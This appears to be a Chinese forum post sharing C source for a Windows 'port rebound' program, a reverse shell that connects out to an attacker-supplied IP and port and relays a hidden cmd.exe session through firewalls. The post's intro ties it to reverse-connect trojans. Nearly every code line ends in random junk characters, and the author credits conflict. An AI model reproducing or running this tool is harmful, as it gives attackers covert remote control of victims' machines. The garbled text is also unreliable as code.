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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 s$6#3%h  
!{;RtUPz*  
/* ============================== 0MPDD%TP  
Rebound port in Windows NT 3Gv i!h7  
By wind,2006/7 mX_`rvYII  
===============================*/ n)pBK>+  
#include );=JoRQ{  
#include !lHsJ)t  
bk5~t'  
#pragma comment(lib,"wsock32.lib") K<N0%c~  
:Z&ipd!yY  
void OutputShell(); CIV6 Qe"<  
SOCKET sClient; 1a%*X UT  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; @^`-VF  
)m6=_q5@o  
void main(int argc,char **argv) k"AY7vq@!P  
{ ^GL0|G=(1  
WSADATA stWsaData; W&rjJZY6  
int nRet; m.lNKIknQ  
SOCKADDR_IN stSaiClient,stSaiServer; 3aW4Gs<g  
smk0*m4  
if(argc != 3) t6~|T_]  
{ po{f*}gas]  
printf("Useage:\n\rRebound DestIP DestPort\n"); aIkxN&  
return; $|A vT;4  
} P^&+ehp  
}_u )3X.O  
WSAStartup(MAKEWORD(2,2),&stWsaData); q!Nwf XJM  
{_Wtk@  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .o fYFK  
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stSaiClient.sin_family = AF_INET; Xr':/Qjf  
stSaiClient.sin_port = htons(0); 3`-[95w  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $z` jR*  
zYH6+!VBH#  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8B\,*JGY2  
{ ][TS|\\  
printf("Bind Socket Failed!\n"); b/<4\f  
return; GVFD_;j'  
} EMJ}tvL0Tp  
DfqXw^BKD  
stSaiServer.sin_family = AF_INET; w6Ue5Ix,!  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); y:pypuwt;  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?jb7Oq#[  
I7]45pF  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) +}z T][9w  
{ ?p\'S w:  
printf("Connect Error!"); /&vUi7'  
return; XbG=H-|  
} w=O:|Xu#*  
OutputShell(); US4X CJxB  
} Z;lE-`Z*(F  
{T.$xiR  
void OutputShell() T*LbZ"A  
{ x4fLe5xv  
char szBuff[1024]; ]+,Z()  
SECURITY_ATTRIBUTES stSecurityAttributes; Jg: Uv6eN+  
OSVERSIONINFO stOsversionInfo; Fa@#nY|UV3  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; XIf,#9  
STARTUPINFO stStartupInfo; 8=t?rA  
char *szShell; el-%#0  
PROCESS_INFORMATION stProcessInformation; C!~&c7  
unsigned long lBytesRead; (MwB% g  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); S%g` X   
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); DkQy.  
stSecurityAttributes.lpSecurityDescriptor = 0; 95?$O~I  
stSecurityAttributes.bInheritHandle = TRUE; o D:?fs]  
4 K)P Yk  
>`8i=ZpCOS  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); n#bC ,  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); G#3 O^,m  
PL%_V ?z  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 9M<qk si  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <EJ}9`t  
stStartupInfo.wShowWindow = SW_HIDE; vYrqZie<  
stStartupInfo.hStdInput = hReadPipe; o;_v'  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; |BF4 F5wC?  
trtI^^/%  
GetVersionEx(&stOsversionInfo); nOp\43no  
w*\)]bTs  
switch(stOsversionInfo.dwPlatformId) |V%Qp5 XJ  
{ (A/V(.!  
case 1: ^hRos  
szShell = "command.com"; |f?tyQ  
break; bC)d iC  
default: JX`+b  
szShell = "cmd.exe"; }_:^&cT  
break; /wH]OD{  
} r;I 3N+  
T>.*c6I b  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); yG2j!D  
50Pz+:  
send(sClient,szMsg,77,0); _{C:aIl[2  
while(1) *";,HG?|Iz  
{ Ef:.)!;jy  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); G>d@lt  
if(lBytesRead) x.xfMM2n  
{ ,eF}`  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9JJ(KY  
send(sClient,szBuff,lBytesRead,0); <p-R{}8  
} ~4`LOROC  
else <Gr{h>b  
{ T B1E1  
lBytesRead=recv(sClient,szBuff,1024,0); q} U^H  
if(lBytesRead<=0) break; CAX|[  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); RxjC sjg  
} R'uM7,7  
} .FtW $Y~y  
/{."*jK  
return; Y2"X;`<  
}
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